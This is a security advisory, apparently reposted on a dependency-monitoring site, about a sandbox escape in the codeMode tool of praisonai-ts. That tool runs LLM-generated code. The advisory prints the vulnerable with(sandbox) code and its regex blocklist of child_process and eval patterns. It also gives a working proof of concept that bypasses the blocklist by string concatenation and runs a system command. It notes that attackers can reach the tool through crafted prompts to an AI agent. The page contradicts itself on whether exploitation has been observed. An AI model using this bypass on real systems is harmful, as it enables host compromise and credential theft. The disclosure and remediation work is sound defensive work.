Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-p69m-4f92-2v84
No affected components available
Summary
The codeMode tool in src/praisonai-ts/src/tools/builtins/code-mode.ts uses new Function() with a with(sandbox) pattern to execute LLM-generated code. The blocklist-based "sandbox" can be trivially bypassed via Function('return this')() to recover the global object, followed by global.require() with string concatenation to evade the blocklist regex. This allows full arbitrary code execution on the host system. This affects all deployments where the code-mode tool is enabled for agents.
Details
Vulnerable code (lines 187–191):
const fn = new Function(
'sandbox',
`with (sandbox) { ${code} }`
);
const result = fn(sandbox);
The code parameter comes from LLM tool call arguments (the execute method at line 104). Before execution, a regex-based blocklist is applied (lines 108–136):
const blockedPatterns = [
/require\s*\(\s*['"]child_process['"]\s*\)/,
/require\s*\(\s*['"]fs['"]\s*\)/,
/import\s+.*from\s+['"]child_process['"]/,
/process\.exit/,
/eval\s*\(/,
];
Three fundamental weaknesses:
-
with(sandbox)does not provide isolation. Thewithstatement in JavaScript adds an object to the scope chain but does NOT prevent accessing the global object. The sandbox object setsprocess: undefinedandrequire: undefined, but these are recovered via the global scope:const g = Function('return this')(); g.require('child_' + 'process') -
Blocklist evasion via string concatenation. The regex
/require\s*\(\s*['"]child_process['"]\s*\)/requires the literal string'child_process'or"child_process"insiderequire(). Usingrequire('child_' + 'process')bypasses this because the regex sees a variable concatenation, not a literal string. -
Function('return this')()is not blocked. None of the blocklist patterns matchFunction(,return this, orglobal.require.
PoC
Setup: Clean checkout at commit d5f1114a, Node.js v20.20.0 (tested environment).
Positive trigger — full RCE with sandbox escape (OBSERVED OUTPUT):
// This code bypasses ALL blocklist patterns and achieves RCE:
const code = `
const Func = (function(){}).constructor;
const proc = Func('return process')();
console.log('process.version:', proc.version);
const g = Function('return this')();
const mod = 'child_' + 'process';
const cp = g.require(mod);
console.log('RCE:', cp.execSync('id').toString().trim());
`;
Observed output (executed in this environment):
OUT: process.version: v20.20.0
OUT: RCE: uid=1000(sondt23) gid=1000(sondt23) groups=1000(sondt23),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin),983(docker),984(ollama)
The escape was confirmed by executing the exact code-mode sandbox pattern (new Function('sandbox', 'with (sandbox) { ... }')) with the blocklist applied first. ALL blocklist patterns were bypassed, and the id command returned the real system user ID.
Negative control — blocklist correctly catches direct require:
const code = `require('child_process')`;
// Returns: "Blocked pattern detected: require\s*\(\s*['"]child_process['"]\s*\)"
Negative control — blocklist correctly catches eval:
const code = `eval('process')`;
// Returns: "Blocked pattern detected: eval\s*\("
Cleanup: No persistence needed; the code runs in-process.
Impact
An attacker who can influence the code parameter of the codeMode tool (via crafted prompts to an AI agent using praisonai-ts) achieves full arbitrary code execution on the host system. This includes:
- Read/write any file accessible to the process user
- Execute arbitrary system commands via
child_process - Exfiltrate environment variables containing API keys, tokens, and credentials
- Install persistent backdoors by writing to startup files
- Move laterally in containerized environments
Suggested remediation
The with(sandbox) + blocklist pattern is fundamentally insecure and cannot be fixed with regex improvements. Replace it with:
- Use
vmmodule with proper context isolation:
import { createContext, runInContext } from 'vm';
const sandbox = createContext({ /* safe globals only */ });
runInContext(code, sandbox, { timeout: 5000 });
-
Or use
isolated-vmfor true process-level isolation with separate V8 isolates. -
Or run code in a subprocess (like the Python
_execute_code_sandboxedpattern already used inpython_tools.py) with a clean environment and resource limits. -
If a blocklist approach must be retained, add patterns for:
Function(/new Functionconstructor/__proto__/prototypereturn this/return globalglobal/globalThis/windowBut note: blocklist approaches are inherently fragile and will continue to have bypasses.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard